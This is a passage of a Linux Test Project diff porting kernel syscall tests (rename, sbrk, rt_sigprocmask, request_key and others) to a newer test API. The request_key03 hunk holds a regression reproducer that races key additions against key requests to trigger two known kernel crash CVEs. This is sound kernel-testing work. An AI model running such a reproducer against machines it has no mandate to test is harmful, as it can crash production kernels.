setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* loop through the test cases */ - for (i = 0; i < TST_TOTAL; i++) { - - TEST(rename(TC[i].fd1, TC[i].fd2)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - continue; - } - - if (TEST_ERRNO == TC[i].error) { - tst_resm(TPASS, "expected failure - " - "errno = %d : %s", TEST_ERRNO, - strerror(TEST_ERRNO)); - } else { - tst_resm(TFAIL, "unexpected error - %d : %s - " - "expected %d", TEST_ERRNO, - strerror(TEST_ERRNO), TC[i].error); - } - } - } - - cleanup(); - tst_exit(); - + SAFE_CHDIR(MNT_POINT); + SAFE_TOUCH(TEMP_FILE, 0700, NULL); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { - - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* Create a temporary directory and make it current. */ - tst_tmpdir(); - - sprintf(fname, "./tfile_%d", getpid()); - sprintf(mdir, "./rndir_%d", getpid()); - sprintf(mname, "%s/rnfile_%d", mdir, getpid()); - - SAFE_TOUCH(cleanup, fname, 0700, NULL); + TST_EXP_FAIL(rename(TEMP_FILE, long_path), + ENAMETOOLONG); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - - /* - * Remove the temporary directory. - */ - tst_rmdir(); -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mount_device = 1, + .mntpoint = MNT_POINT, + .all_filesystems = 1 +}; diff --git a/testcases/kernel/syscalls/rename/rename12.c b/testcases/kernel/syscalls/rename/rename12.c index 36691783..d6e1ccbe 100755 --- a/testcases/kernel/syscalls/rename/rename12.c +++ b/testcases/kernel/syscalls/rename/rename12.c @@ -1,222 +1,69 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * rename12 - * - * DESCRIPTION - * check rename() fails with EPERM or EACCES - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * create a directory fdir and set the sticky bit - * create file fname under fdir - * fork a child - * set to nobody - * try to rename fname to mname - * check the return value, if succeeded (return=0) - * Log the errno and Issue a FAIL message. - * Otherwise, - * Verify the errno - * if equals to EPERMS or EACCES, - * Issue Pass message. - * Otherwise, - * Issue Fail message. - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * USAGE - * rename12 [-c n] [-e] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -e : Turn on errno logging. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer - * - * RESTRICTIONS - * Must run test as root. +/*\ + * [Description] * + * Verify that rename() fails with EPERM or EACCES when the directory + * containing oldpath has the sticky bit (S_ISVTX) set and the caller + * is not privileged. */ -#include -#include -#include -#include -#include -#include -#include - -#include "test.h" -#include "safe_macros.h" - -void setup(); -void cleanup(); - -#define PERMS 0777 - -char *TCID = "rename12"; -int TST_TOTAL = 1; - -int fd; -char fdir[255]; -char fname[255], mname[255]; -uid_t nobody_uid; -struct stat buf1; - -int main(int ac, char **av) -{ - int lc; - pid_t pid; - int status; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - /* - * perform global setup for test - */ - setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * rename a file whose parent directory has - * the sticky bit set without root permission - * or effective uid - */ - - if ((pid = FORK_OR_VFORK()) == -1) { - tst_brkm(TBROK, cleanup, "fork() failed"); - } - if (pid == 0) { /* child */ - /* set to nobody */ - if (seteuid(nobody_uid) == -1) { - tst_resm(TWARN, "setreuid failed"); - perror("setreuid"); - exit(1); - } - - /* rename "old" to "new" */ - TEST(rename(fname, mname)); - - if (TEST_RETURN != -1) { - tst_resm(TFAIL, "call succeeded unexpectedly"); - exit(1); - } - - if ((TEST_ERRNO != EPERM) && (TEST_ERRNO != EACCES)) { - tst_resm(TFAIL, - "Expected EPERM or EACCES, got %d", - TEST_ERRNO); - exit(1); - } else { - tst_resm(TPASS, - "rename returned EPERM or EACCES"); - } - - /* set the id back to root */ - if (seteuid(0) == -1) { - tst_resm(TWARN, "seteuid(0) failed"); - } - } else { /* parent */ - wait(&status); - if (!WIFEXITED(status) || (WEXITSTATUS(status) != 0)) { - exit(WEXITSTATUS(status)); - } else { - exit(0); - } - - } - } +#include +#include +#include "tst_test.h" - cleanup(); - tst_exit(); +#define MNT_POINT "mntpoint" +#define TEMP_DIR "tempdir" +#define TEMP_FILE1 TEMP_DIR"/tmpfile1" +#define TEMP_FILE2 TEMP_DIR"/tmpfile2" -} +static uid_t nobody_uid; +static struct stat buf1; -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void setup(void) { struct passwd *pw; - tst_require_root(); - - tst_sig(FORK, DEF_HANDLER, cleanup); - - pw = SAFE_GETPWNAM(NULL, "nobody"); + pw = SAFE_GETPWNAM("nobody"); nobody_uid = pw->pw_uid; - TEST_PAUSE; - - /* Create a temporary directory and make it current. */ - tst_tmpdir(); - - umask(0); - - sprintf(fdir, "./tdir_%d", getpid()); - sprintf(fname, "%s/tfile_%d", fdir, getpid()); - sprintf(mname, "%s/rnfile_%d", fdir, getpid()); - - /* create a directory */ - SAFE_MKDIR(cleanup, fdir, PERMS); - - SAFE_STAT(cleanup, fdir, &buf1); - - /* set the sticky bit */ - if (chmod(fdir, buf1.st_mode | S_ISVTX) != 0) { - tst_brkm(TBROK, cleanup, "failed to set the S_ISVTX bit"); - - } - - /* create a file under fdir */ - SAFE_TOUCH(cleanup, fname, 0700, NULL); + SAFE_CHDIR(MNT_POINT); + SAFE_MKDIR(TEMP_DIR, 0777); + SAFE_STAT(TEMP_DIR, &buf1); + SAFE_CHMOD(TEMP_DIR, buf1.st_mode | S_ISVTX); + SAFE_TOUCH(TEMP_FILE1, 0700, NULL); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) +static void run(void) { - - /* - * Remove the temporary directory. - */ - tst_rmdir(); + SAFE_SETEUID(nobody_uid); + + TEST(rename(TEMP_FILE1, TEMP_FILE2)); + if (TST_RET == -1 && (TST_ERR == EPERM || TST_ERR == EACCES)) + tst_res(TPASS | TTERRNO, "rename() failed as expected"); + else if (TST_RET == 0) + tst_res(TFAIL, "rename() succeeded unexpectedly"); + else + tst_res(TFAIL | TTERRNO, "rename() failed, but not with expected errno"); } + +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mntpoint = MNT_POINT, + .mount_device = 1, + .all_filesystems = 1, + .skip_filesystems = (const char *const[]){ + "exfat", + "vfat", + "fuse", + "ntfs", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/rename/rename13.c b/testcases/kernel/syscalls/rename/rename13.c index 07a90c4d..51490db7 100755 --- a/testcases/kernel/syscalls/rename/rename13.c +++ b/testcases/kernel/syscalls/rename/rename13.c @@ -1,186 +1,54 @@ +// SPDX-License-Identifier: GPL-2.0-or-later /* - * * Copyright (c) International Business Machines Corp., 2001 - * - * This program is free software; you can redistribute it and/or modify - * it under the terms of the GNU General Public License as published by - * the Free Software Foundation; either version 2 of the License, or - * (at your option) any later version. - * - * This program is distributed in the hope that it will be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See - * the GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write to the Free Software - * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA + * 07/2001 Ported by Wayne Boyer + * Copyright (c) 2022 SUSE LLC Avinesh Kumar */ -/* - * NAME - * rename13 - * - * DESCRIPTION - * Verify rename() return successfully and performs no other action - * when "old" file and "new" file link to the same file. - * - * ALGORITHM - * Setup: - * Setup signal handling. - * Create temporary directory. - * Pause for SIGUSR1 if option specified. - * - * Test: - * Loop if the proper options are given. - * create the "old" file - * link the "new" file to the "old" file - * rename the "old" to the "new" file - * verify the "new" file points to the original file - * verify the "old" file exists and points to - * the original file - * Cleanup: - * Print errno log and/or timing stats if options given - * Delete the temporary directory created. - * - * USAGE - * rename13 [-c n] [-f] [-i n] [-I x] [-P x] [-t] - * where, -c n : Run n copies concurrently. - * -f : Turn off functionality Testing. - * -i n : Execute test n times. - * -I x : Execute test for x seconds. - * -P x : Pause for x seconds between iterations. - * -t : Turn on syscall timing. - * - * HISTORY - * 07/2001 Ported by Wayne Boyer +/*\ + * [Description] * - * RESTRICTIONS - * None. + * Verify that rename() does nothing and returns a success status when + * oldpath and newpath are existing hard links referring to the same file. */ -#include -#include -#include -#include -#include -#include "test.h" -#include "safe_macros.h" +#include +#include "tst_test.h" -void setup(); -void cleanup(); +#define MNT_POINT "mntpoint" +#define TEMP_FILE1 MNT_POINT"/tmpfile1" +#define TEMP_FILE2 MNT_POINT"/tmpfile2" -char *TCID = "rename13"; -int TST_TOTAL = 1; +static struct stat buf1, buf2; -int fd; -char fname[255], mname[255]; -struct stat buf1, buf2; -dev_t olddev; -ino_t oldino; - -int main(int ac, char **av) +static void setup(void) { - int lc; - - /* - * parse standard options - */ - tst_parse_opts(ac, av, NULL, NULL); - - /* - * perform global setup for test - */ - setup(); - - /* - * check looping state if -i option given - */ - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - /* - * TEST rename()works when - * both old file and new file link to the same file - */ - - /* Call rename(2) */ - TEST(rename(fname, mname)); - - if (TEST_RETURN == -1) { - tst_resm(TFAIL, "rename(%s, %s) failed", fname, mname); - continue; - } - - /* check the existence of "new", and get the status */ - SAFE_STAT(cleanup, mname, &buf2); - - /* check the existence of "old", and get the status */ - SAFE_STAT(cleanup, fname, &buf1); - - /* verify the new file is the same as the original */ - if (buf2.st_dev != olddev || buf2.st_ino != oldino) { - tst_resm(TFAIL, - "rename() failed: new file does " - "not point to the same file as old " - "file"); - continue; - } - - /* verify the old file is unchanged */ - if (buf1.st_dev != olddev || buf1.st_ino != oldino) { - tst_resm(TFAIL, - "rename() failed: old file does " - "not point to the original file"); - continue; - } - - tst_resm(TPASS, "functionality of rename() is correct"); - } - - cleanup(); - tst_exit(); + SAFE_TOUCH(TEMP_FILE1, 0700, NULL); + SAFE_STAT(TEMP_FILE1, &buf1); + SAFE_LINK(TEMP_FILE1, TEMP_FILE2); } -/* - * setup() - performs all ONE TIME setup for this test. - */ -void setup(void) +static void run(void) { + TST_EXP_PASS(rename(TEMP_FILE1, TEMP_FILE1)); + if (TST_RET != 0) + return; - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* Create a temporary directory and make it current. */ - tst_tmpdir(); - - sprintf(fname, "./tfile_%d", getpid()); - sprintf(mname, "./rnfile_%d", getpid()); - - SAFE_TOUCH(cleanup, fname, 0700, NULL); - - SAFE_STAT(cleanup, fname, &buf1); - - /* save the dev and inode */ - olddev = buf1.st_dev; - oldino = buf1.st_ino; - - /* link the "new" file to the "old" file */ - SAFE_LINK(cleanup, fname, mname); + SAFE_STAT(TEMP_FILE2, &buf2); + TST_EXP_EQ_LU(buf1.st_dev, buf2.st_dev); + TST_EXP_EQ_LU(buf1.st_ino, buf2.st_ino); } -/* - * cleanup() - performs all ONE TIME cleanup for this test at - * completion or premature exit. - */ -void cleanup(void) -{ - - /* - * Remove the temporary directory. - */ - tst_rmdir(); - -} +static struct tst_test test = { + .setup = setup, + .test_all = run, + .needs_root = 1, + .mntpoint = MNT_POINT, + .mount_device = 1, + .all_filesystems = 1, + .skip_filesystems = (const char *const[]){ + "exfat", + "vfat", + NULL + }, +}; diff --git a/testcases/kernel/syscalls/renameat/renameat01.c b/testcases/kernel/syscalls/renameat/renameat01.c index 9df4b708..3de10356 100755 --- a/testcases/kernel/syscalls/renameat/renameat01.c +++ b/testcases/kernel/syscalls/renameat/renameat01.c @@ -133,12 +133,6 @@ static void setup(void) const char *fs_type; int i; - if ((tst_kvercmp(2, 6, 16)) < 0) { - tst_brkm(TCONF, NULL, - "This test can only run on kernels that are " - "2.6.16 and higher"); - } - tst_require_root(); tst_sig(NOFORK, DEF_HANDLER, cleanup); diff --git a/testcases/kernel/syscalls/renameat2/renameat2.h b/testcases/kernel/syscalls/renameat2/renameat2.h index b04558d1..c4688ed5 100755 --- a/testcases/kernel/syscalls/renameat2/renameat2.h +++ b/testcases/kernel/syscalls/renameat2/renameat2.h @@ -27,7 +27,7 @@ int renameat2(int olddirfd, const char *oldpath, int newdirfd, const char *newpath, unsigned int flags) { - return ltp_syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, + return tst_syscall(__NR_renameat2, olddirfd, oldpath, newdirfd, newpath, flags); } #endif diff --git a/testcases/kernel/syscalls/request_key/request_key03.c b/testcases/kernel/syscalls/request_key/request_key03.c index 3f0c093f..464fcd8a 100755 --- a/testcases/kernel/syscalls/request_key/request_key03.c +++ b/testcases/kernel/syscalls/request_key/request_key03.c @@ -37,87 +37,137 @@ #include "tst_test.h" #include "lapi/keyctl.h" +static struct test_case { + const char *type; + const char *payload; + int effort; +} testcase_list[] = { + /* + * Briefly test the "encrypted" and/or "trusted" key types when + * availaible, mainly to reproduce CVE-2017-15299. + */ + {"encrypted", "update user:foo 32", 2}, + {"trusted", "update", 2}, + + /* + * Test the "user" key type for longer, mainly in order to reproduce + * CVE-2017-15951. However, without the fix for CVE-2017-15299 as well, + * WARNs may show up in the kernel log. + * + * Note: the precise iteration count is arbitrary; it's just intended to + * be enough to give a decent chance of reproducing the bug, without + * wasting too much time. + */ + {"user", "payload", 20}, +}; + static char *opt_bug; -static void test_with_key_type(const char *type, const char *payload, - int effort) +static void run_child_add(const char *type, const char *payload, int effort) +{ + int i; + + /* + * Depending on the state of the key, add_key() should either succeed or + * fail with one of several errors: + * + * (1) key didn't exist at all: either add_key() should succeed (if the + * payload is valid), or it should fail with EINVAL (if the payload + * is invalid; this is needed for the "encrypted" and "trusted" key + * types because they have a quirk where the payload syntax differs + * for creating new keys vs. updating existing keys) + * + * (2) key was negative: add_key() should succeed + * + * (3) key was uninstantiated: add_key() should wait for the key to be + * negated, then fail with ENOKEY + * + * For now we also accept EDQUOT because the kernel frees up the keys + * quota asynchronously after keys are unlinked. So it may be hit. + */ + for (i = 0; i < 100 * effort; i++) { + usleep(rand() % 1024); + TEST(add_key(type, "desc", payload, strlen(payload), + KEY_SPEC_SESSION_KEYRING)); + if (TST_RET < 0 && TST_ERR != EINVAL && TST_ERR != ENOKEY && + TST_ERR != EDQUOT) { + tst_brk(TBROK | TTERRNO, + "unexpected error adding key of type '%s'", + type); + } + + TEST(keyctl(KEYCTL_CLEAR, KEY_SPEC_SESSION_KEYRING)); + + if (TST_RET < 0) + tst_brk(TBROK | TTERRNO, "unable to clear keyring"); + + if (!tst_remaining_runtime()) { + tst_res(TINFO, "add_key() process runtime exceeded"); + break; + } + } +} + +static void run_child_request(const char *type, int effort) { int i; + + for (i = 0; i < 5000 * effort; i++) { + TEST(request_key(type, "desc", "callout_info", + KEY_SPEC_SESSION_KEYRING)); + if (TST_RET < 0 && TST_ERR != ENOKEY && TST_ERR != ENOENT && + TST_ERR != EDQUOT) { + tst_brk(TBROK | TTERRNO, + "unexpected error requesting key of type '%s'", + type); + } + + if (!tst_remaining_runtime()) { + tst_res(TINFO, + "request_key() process runtime exceeded"); + break; + } + } +} + +static void do_test(unsigned int n) +{ int status; pid_t add_key_pid; pid_t request_key_pid; bool info_only; + struct test_case *tc = testcase_list + n; TEST(keyctl(KEYCTL_JOIN_SESSION_KEYRING, NULL)); if (TST_RET < 0) tst_brk(TBROK | TTERRNO, "failed to join new session keyring"); - TEST(add_key(type, "desc", payload, strlen(payload), + TEST(add_key(tc->type, "desc", tc->payload, strlen(tc->payload), KEY_SPEC_SESSION_KEYRING)); if (TST_RET < 0 && TST_ERR != EINVAL) { if (TST_ERR == ENODEV) { tst_res(TCONF, "kernel doesn't support key type '%s'", - type); + tc->type); return; } tst_brk(TBROK | TTERRNO, "unexpected error checking whether key type '%s' is supported", - type); + tc->type); } /* * Fork a subprocess which repeatedly tries to "add" a key of the given * type. This actually will try to update the key if it already exists. - * Depending on the state of the key, add_key() should either succeed or - * fail with one of several errors: - * - * (1) key didn't exist at all: either add_key() should succeed (if the - * payload is valid), or it should fail with EINVAL (if the payload - * is invalid; this is needed for the "encrypted" and "trusted" key - * types because they have a quirk where the payload syntax differs - * for creating new keys vs. updating existing keys) - * - * (2) key was negative: add_key() should succeed - * - * (3) key was uninstantiated: add_key() should wait for the key to be - * negated, then fail with ENOKEY - * - * For now we also accept EDQUOT because the kernel frees up the keys - * quota asynchronously after keys are unlinked. So it may be hit. */ add_key_pid = SAFE_FORK(); if (add_key_pid == 0) { - for (i = 0; i < 100 * effort; i++) { - usleep(rand() % 1024); - TEST(add_key(type, "desc", payload, strlen(payload), - KEY_SPEC_SESSION_KEYRING)); - if (TST_RET < 0 && TST_ERR != EINVAL && - TST_ERR != ENOKEY && TST_ERR != EDQUOT) { - tst_brk(TBROK | TTERRNO, - "unexpected error adding key of type '%s'", - type); - } - TEST(keyctl(KEYCTL_CLEAR, KEY_SPEC_SESSION_KEYRING)); - if (TST_RET < 0) { - tst_brk(TBROK | TTERRNO, - "unable to clear keyring"); - } - } + run_child_add(tc->type, tc->payload, tc->effort); exit(0); } request_key_pid = SAFE_FORK(); if (request_key_pid == 0) { - for (i = 0; i < 5000 * effort; i++) { - TEST(request_key(type, "desc", "callout_info", - KEY_SPEC_SESSION_KEYRING)); - if (TST_RET < 0 && TST_ERR != ENOKEY && - TST_ERR != ENOENT && TST_ERR != EDQUOT) { - tst_brk(TBROK | TTERRNO, - "unexpected error requesting key of type '%s'", - type); - } - } + run_child_request(tc->type, tc->effort); exit(0); } @@ -134,11 +184,11 @@ static void test_with_key_type(const char *type, const char *payload, if (WIFEXITED(status) && WEXITSTATUS(status) == 0) { tst_res(info_only ? TINFO : TPASS, "didn't crash while updating key of type '%s'", - type); + tc->type); } else if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) { tst_res(info_only ? TINFO : TFAIL, "kernel oops while updating key of type '%s'", - type); + tc->type); } else { tst_brk(TBROK, "add_key child %s", tst_strstatus(status)); } @@ -148,40 +198,21 @@ static void test_with_key_type(const char *type, const char *payload, if (WIFEXITED(status) && WEXITSTATUS(status) == 0) { tst_res(info_only ? TINFO : TPASS, "didn't crash while requesting key of type '%s'", - type); + tc->type); } else if (WIFSIGNALED(status) && WTERMSIG(status) == SIGKILL) { tst_res(info_only ? TINFO : TFAIL, "kernel oops while requesting key of type '%s'", - type); + tc->type); } else { tst_brk(TBROK, "request_key child %s", tst_strstatus(status)); } } -static void do_test(void) -{ - /* - * Briefly test the "encrypted" and/or "trusted" key types when - * availaible, mainly to reproduce CVE-2017-15299. - */ - test_with_key_type("encrypted", "update user:foo 32", 2); - test_with_key_type("trusted", "update", 2); - - /* - * Test the "user" key type for longer, mainly in order to reproduce - * CVE-2017-15951. However, without the fix for CVE-2017-15299 as well, - * WARNs may show up in the kernel log. - * - * Note: the precise iteration count is arbitrary; it's just intended to - * be enough to give a decent chance of reproducing the bug, without - * wasting too much time. - */ - test_with_key_type("user", "payload", 20); -} - static struct tst_test test = { - .test_all = do_test, + .test = do_test, + .tcnt = ARRAY_SIZE(testcase_list), .forks_child = 1, + .max_runtime = 20, .options = (struct tst_option[]) { {"b:", &opt_bug, "Bug to test for (cve-2017-15299 or cve-2017-15951; default is both)"}, {} diff --git a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c index 202e8538..e564a943 100755 --- a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c +++ b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask01.c @@ -105,7 +105,7 @@ int main(int ac, char **av) "rt_sigaction call failed"); /* call rt_sigprocmask() to block signal#TEST_SIG */ - TEST(ltp_syscall(__NR_rt_sigprocmask, SIG_BLOCK, &set, + TEST(tst_syscall(__NR_rt_sigprocmask, SIG_BLOCK, &set, &oset, SIGSETSIZE)); if (TEST_RETURN == -1) tst_brkm(TFAIL | TTERRNO, cleanup, @@ -123,7 +123,7 @@ int main(int ac, char **av) "the process's signal mask"); } else { /* call rt_sigpending() */ - TEST(ltp_syscall(__NR_rt_sigpending, &oset, + TEST(tst_syscall(__NR_rt_sigpending, &oset, SIGSETSIZE)); if (TEST_RETURN == -1) tst_brkm(TFAIL | TTERRNO, cleanup, @@ -137,7 +137,7 @@ int main(int ac, char **av) /* call rt_sigprocmask() to unblock * signal#TEST_SIG */ - TEST(ltp_syscall(__NR_rt_sigprocmask, + TEST(tst_syscall(__NR_rt_sigprocmask, SIG_UNBLOCK, &set, &oset, SIGSETSIZE)); if (TEST_RETURN == -1) diff --git a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c index 5c8c36b7..8c4724eb 100755 --- a/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c +++ b/testcases/kernel/syscalls/rt_sigprocmask/rt_sigprocmask02.c @@ -104,7 +104,7 @@ int main(int ac, char **av) "Call to sigfillset() failed."); for (i = 0; i < test_count; i++) { - TEST(ltp_syscall(__NR_rt_sigprocmask, SIG_BLOCK, + TEST(tst_syscall(__NR_rt_sigprocmask, SIG_BLOCK, &s, test_cases[i].ss, test_cases[i].sssize)); if (TEST_RETURN == 0) { tst_resm(TFAIL | TTERRNO, diff --git a/testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c b/testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c index 5996e998..c8b07c07 100755 --- a/testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c +++ b/testcases/kernel/syscalls/rt_sigqueueinfo/rt_sigqueueinfo01.c @@ -108,7 +108,6 @@ static struct tst_test test = { .setup = setup, .cleanup = cleanup, .needs_checkpoints = 1, - .timeout = 20, }; #else diff --git a/testcases/kernel/syscalls/sbrk/sbrk01.c b/testcases/kernel/syscalls/sbrk/sbrk01.c index ce26b150..c99fb010 100755 --- a/testcases/kernel/syscalls/sbrk/sbrk01.c +++ b/testcases/kernel/syscalls/sbrk/sbrk01.c @@ -1,111 +1,40 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2000 Silicon Graphics, Inc. All Rights Reserved. - * AUTHOR : William Roske - * CO-PILOT : Dave Fenner - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * Further, this software is distributed without any warranty that it is - * free of the rightful claim of any third person regarding infringement - * or the like. Any license provided herein, whether implied or - * otherwise, applies only to this software file. Patent licenses, if - * any, provided herein do not apply to combinations of this program with - * other software, or any other product whatsoever. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. - * - * Contact information: Silicon Graphics, Inc., 1600 Amphitheatre Pkwy, - * Mountain View, CA 94043, or: - * - * http://www.sgi.com - * - * For further information regarding this notice, see: - * - * http://oss.sgi.com/projects/GenInfo/NoticeExplan/ - * - */ -/* - * DESCRIPTION - * 1.) test sbrk(8192) should return successfully. - * 2.) test sbrk(-8192) should return successfully. + * AUTHOR : William Roske, CO-PILOT : Dave Fenner + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -#include -#include -#include -#include -#include - -#include "test.h" +/*\ + * [Description] + * + * Verify that sbrk() successfully increments or decrements the program's + * data break. + */ -char *TCID = "sbrk01"; +#include "tst_test.h" -static struct test_case_t { +static struct tcase { long increment; -} test_cases[] = { +} tcases[] = { + {0}, {8192}, - {-8192}, + {-8192} }; -static void setup(void); -static void sbrk_verify(const struct test_case_t *); -static void cleanup(void); - -int TST_TOTAL = ARRAY_SIZE(test_cases); - -int main(int ac, char **av) +static void run(unsigned int i) { - int lc; - int i; - - tst_parse_opts(ac, av, NULL, NULL); + struct tcase *tc = &tcases[i]; - setup(); + TESTPTR(sbrk(tc->increment)); - for (lc = 0; TEST_LOOPING(lc); lc++) { - - tst_count = 0; - - for (i = 0; i < TST_TOTAL; i++) - sbrk_verify(&test_cases[i]); - } - - cleanup(); - tst_exit(); - -} - -static void setup(void) -{ - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; + if (TST_RET_PTR == (void *) -1) + tst_res(TFAIL | TTERRNO, "sbrk(%ld) failed", tc->increment); + else + tst_res(TPASS, "sbrk(%ld) returned %p", tc->increment, TST_RET_PTR); } -static void sbrk_verify(const struct test_case_t *test) -{ - void *tret; - - tret = sbrk(test->increment); - TEST_ERRNO = errno; - - if (tret == (void *)-1) { - tst_resm(TFAIL | TTERRNO, "sbrk - Increase by %ld bytes failed", - test->increment); - } else { - tst_resm(TPASS, "sbrk - Increase by %ld bytes returned %p", - test->increment, tret); - } -} - -static void cleanup(void) -{ -} +static struct tst_test test = { + .test = run, + .tcnt = ARRAY_SIZE(tcases) +}; diff --git a/testcases/kernel/syscalls/sbrk/sbrk02.c b/testcases/kernel/syscalls/sbrk/sbrk02.c index 84744ef9..7fccc4d3 100755 --- a/testcases/kernel/syscalls/sbrk/sbrk02.c +++ b/testcases/kernel/syscalls/sbrk/sbrk02.c @@ -1,101 +1,52 @@ +// SPDX-License-Identifier: GPL-2.0 /* * Copyright (c) 2014 Fujitsu Ltd. * Author: Zeng Linggang - * - * This program is free software; you can redistribute it and/or modify it - * under the terms of version 2 of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, but - * WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. - * - * You should have received a copy of the GNU General Public License along - * with this program; if not, write the Free Software Foundation, Inc., - * 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA. + * Copyright (c) 2023 SUSE LLC Avinesh Kumar */ -/* - * DESCRIPTION - * Check sbrk() with error condition that should produce ENOMEM. - */ - -#include -#include -#include "test.h" -#define INC 16*1024*1024 +/*\ + * [Description] + * + * Verify that sbrk() on failure sets errno to ENOMEM. + */ -char *TCID = "sbrk02"; -int TST_TOTAL = 1; -static void setup(void); -static void sbrk_verify(void); -static void cleanup(void); +#include "tst_test.h" +#define INC (16*1024*1024) static long increment = INC; -int main(int argc, char *argv[]) +static void run(void) { - int lc; - int i; - - tst_parse_opts(argc, argv, NULL, NULL); - - setup(); + TESTPTR(sbrk(increment)); - for (lc = 0; TEST_LOOPING(lc); lc++) { - tst_count = 0; - for (i = 0; i < TST_TOTAL; i++) - sbrk_verify(); + if (TST_RET_PTR != (void *)-1) { + tst_res(TFAIL, "sbrk(%ld) unexpectedly passed and returned %p, " + "expected (void *)-1 with errno=%d", + increment, TST_RET_PTR, ENOMEM); + return; } - cleanup(); - tst_exit(); + if (TST_ERR == ENOMEM) + tst_res(TPASS | TTERRNO, "sbrk(%ld) failed as expected", increment); + else + tst_res(TFAIL | TTERRNO, "sbrk(%ld) failed but unexpected errno, " + "expected errno=%d - %s", + increment, ENOMEM, strerror(ENOMEM)); } static void setup(void) { void *ret = NULL; - tst_sig(NOFORK, DEF_HANDLER, cleanup); - - TEST_PAUSE; - - /* call sbrk until it fails or increment overflows */ while (ret != (void *)-1 && increment > 0) { ret = sbrk(increment); increment += INC; } - tst_resm(TINFO | TERRNO, "setup() bailing inc: %ld, ret: %p, sbrk: %p", - increment, ret, sbrk(0)); - - errno = 0; -} - -static void sbrk_verify(void) -{ - void *tret; - - tret = sbrk(increment); - TEST_ERRNO = errno; - - if (tret != (void *)-1) { - tst_resm(TFAIL, - "sbrk(%ld) returned %p, expected (void *)-1, errno=%d", - increment, tret, ENOMEM); - return; - } - - if (TEST_ERRNO == ENOMEM) { - tst_resm(TPASS | TTERRNO, "sbrk(%ld) failed as expected", - increment); - } else { - tst_resm(TFAIL | TTERRNO, - "sbrk(%ld) failed unexpectedly; expected: %d - %s", - increment, ENOMEM, strerror(ENOMEM)); - } } -static void cleanup(void) -{ -} +static struct tst_test test = { + .test_all = run, + .setup = setup +}; diff --git a/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c b/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c index a1c54efd..9d0ebc28 100755 --- a/testcases/kernel/syscalls/sched_get_priority_max/sched_get_priority_max01.c +++ 